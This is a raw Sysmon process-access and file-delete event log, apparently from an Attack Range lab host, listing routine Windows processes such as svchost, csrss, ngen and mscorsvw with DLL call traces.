14:44:48.748{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5C09-00000000F001}6776C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.728{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5C09-00000000F001}6776C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.728{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5C09-00000000F001}6776C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.688{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5B09-00000000F001}6160C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.683{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.682{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.682{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.682{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.682{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.681{7BD73061-6D0E-613B-8B06-00000000F001}45002576C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+37dac|C:\Windows\System32\modernexecserver.dll+37d4f|C:\Windows\System32\modernexecserver.dll+375a6|C:\Windows\System32\modernexecserver.dll+1a1c4|C:\Windows\System32\modernexecserver.dll+3191d|C:\Windows\System32\modernexecserver.dll+32871|C:\Windows\System32\modernexecserver.dll+3278f|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.668{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5B09-00000000F001}6160C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.668{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5B09-00000000F001}6160C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.648{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=018F5597D4711827F063E675E3E08EF8,SHA256=3A312DFCB2F259A33CCB30B561E353D548B68DB35EBF4ECC81731A42D0EC0923,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.638{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5A09-00000000F001}6992C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.618{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5A09-00000000F001}6992C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.618{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5A09-00000000F001}6992C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.608{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.608{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.608{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000044337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.608{7BD73061-65BF-613B-2B00-00000000F001}29645224C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\tileobjserver.dll+bce2|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000044336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.608{7BD73061-65BF-613B-2B00-00000000F001}29645224C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|c:\windows\system32\tileobjserver.dll+bc8f|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 